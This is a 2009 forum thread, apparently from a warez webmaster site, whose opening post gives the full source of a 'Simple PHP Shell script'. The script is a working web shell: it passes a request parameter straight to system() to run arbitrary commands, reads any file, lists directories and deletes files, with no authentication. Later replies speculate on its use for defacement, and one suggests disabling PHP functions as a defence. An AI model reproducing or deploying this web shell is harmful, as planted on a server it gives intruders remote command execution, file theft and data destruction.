Results 1 to 9 of 9
-
21st Jan 2009, 06:02 AM #1OPMemberWebsite's:
litewarez.net litewarez.com triniwarez.comSimple PHP Shell script
PHP Code:<STYLE type="text/css">
<!--a{text-decoration:none}-->
</STYLE>
<body bgcolor=black>
<font color=white face="courier" size=2>
<div align=right>//by phr0z</div>
PHP shell in <?php echo $_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'] ?> <br>
Server <?php echo $_SERVER['SERVER_NAME']; ?> <br><hr>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method=GET>
Navigate to:
<input type="text" name="dir" value="<?php echo $dir ?>" size=50>
</form>
<form action="<?php print $_SERVER['PHP_SELF']; ?>" method=GET>
Execute command:
<input type="text" name="shell" size=45>
</form>
<?php
if($_REQUEST['remove'] != NULL)
unlink($_REQUEST['remove']);
if($_REQUEST['file'] != NULL) {
$fp = fopen($_REQUEST['file'], "rb");
if($fp == NULL) {
echo 'Can\'t open file '. $_REQUEST['file'];
die;
}
echo '<br><br><pre>';
fpassthru($fp);
}
if($_REQUEST['dir'] != NULL) {
$dir = $_REQUEST['dir'];
if(is_dir($dir)) {
if($dh = opendir($dir))
echo '<h3>Files in '. $dir .'</h3><br><br>';
while(($file = readdir($dh)) !== false)
if(is_dir($dir.'/'.$file))
echo '<a href="'. $_SERVER['PHP_SELF'] .'?dir='. $dir .'/'. $file .'">'. $file .'</a><br>';
else {
echo '<a href="'. $_SERVER['PHP_SELF'] .'?file='. $dir .'/'. $file .'">'. $file .'</a>';
echo ' [<a href="'. $_SERVER['PHP_SELF'] .'?dir='. $dir .'&remove=' . $dir .'/'. $file .'">'. 'DEL</a>]<br>';
}
closedir($dh);
} else
echo '<br><br>Directory '. $dir .' is invalid.';
}
if($_REQUEST['shell'] != NULL) {
echo '<br><br><pre>';
system($_REQUEST['shell']);
}
?>litewarez Reviewed by litewarez on . Simple PHP Shell script <STYLE type="text/css"> <!--a{text-decoration:none}--> </STYLE> <body bgcolor=black> <font color=white face="courier" size=2> <div align=right>//by phr0z</div> PHP shell in <?php echo $_SERVER.$_SERVER ?> <br> Server <?php echo $_SERVER; ?> <br><hr> <form action="<?php echo $_SERVER; ?>" method=GET> Navigate to: Rating: 5Join Litewarez.net today and become apart of the community.
Unique | Clean | Advanced (All with you in mind)
Downloads | Webmasters
Notifications,Forum,Chat,Community all at Litewarez Webmasters
-
27th Jan 2009, 04:02 AM #2Member
what it does !
Coding Horror Fan
I don't read PM's frequently .
-
22nd Mar 2009, 10:06 AM #3Member
yes what is the script?
-
23rd Mar 2009, 02:24 PM #4BannedWebsite's:
WarezWorm.net SpookyWarez.net DJWarez.org WarezJungle.org AlienMP3.com WarezAlliance.netI think you can acces a shell with this script via a webpage, but I am not sure
-
23rd Mar 2009, 02:31 PM #5Member
This script lists every file/folder on a webspace, more complicated examples are used to deface websites...
-
28th Mar 2009, 06:15 AM #6Member
A line from the script
echo ' [<a href="'. $_SERVER['PHP_SELF'] .'?dir='. $dir .'&remove=' . $dir .'/'. $file .'">'. 'DEL</a>]<br>';
Wowwwww this is really nastyyyyy
-
28th Mar 2009, 06:16 AM #7MemberWebsite's:
viz0n.net SolidNode.com r00tsecurity.orgAdding opendir, readdir to the disabled_functions in php.ini literally kills PHP Shells, but can cause some problems with certain scripts.
******** ▌| SolidNode.com - *QUALITY OFFSHORE* [100+ clients strong]
******** ▌| For official support, please e-mail support@solidnode.com.
******** ▌| We run well managed servers with Basic DDoS Protection.
******** ▌| We also do Server/Site Management/Setup
-
30th Mar 2009, 09:39 PM #8Member
don't use the script if you don't know how it exactly works
-
30th Mar 2009, 11:16 PM #9Member
Sponsored Links
Thread Information
Users Browsing this Thread
There are currently 1 users browsing this thread. (0 members and 1 guests)
Similar Threads
-
Help me with simple VB Script
By Xeon in forum Web Development AreaReplies: 0Last Post: 16th Sep 2012, 10:06 AM -
[Hiring] Simple web script
By Thrill in forum Marketplace (Buy, Sell and Trade)Replies: 1Last Post: 9th Sep 2012, 05:22 AM -
[Hiring] Need php developer for simple script.
By pisoj1 in forum ServicesReplies: 7Last Post: 7th Jun 2012, 12:45 PM -
Need Simple PHP/JS Script
By Netguy in forum Web Development AreaReplies: 0Last Post: 22nd Jan 2011, 03:30 PM -
Simple PHP Shell script by litewarez
By bonucci in forum General DiscussionReplies: 4Last Post: 31st Oct 2010, 05:28 AM
themaManager - edit and manage...
Version 4.04 released. Open older version (or...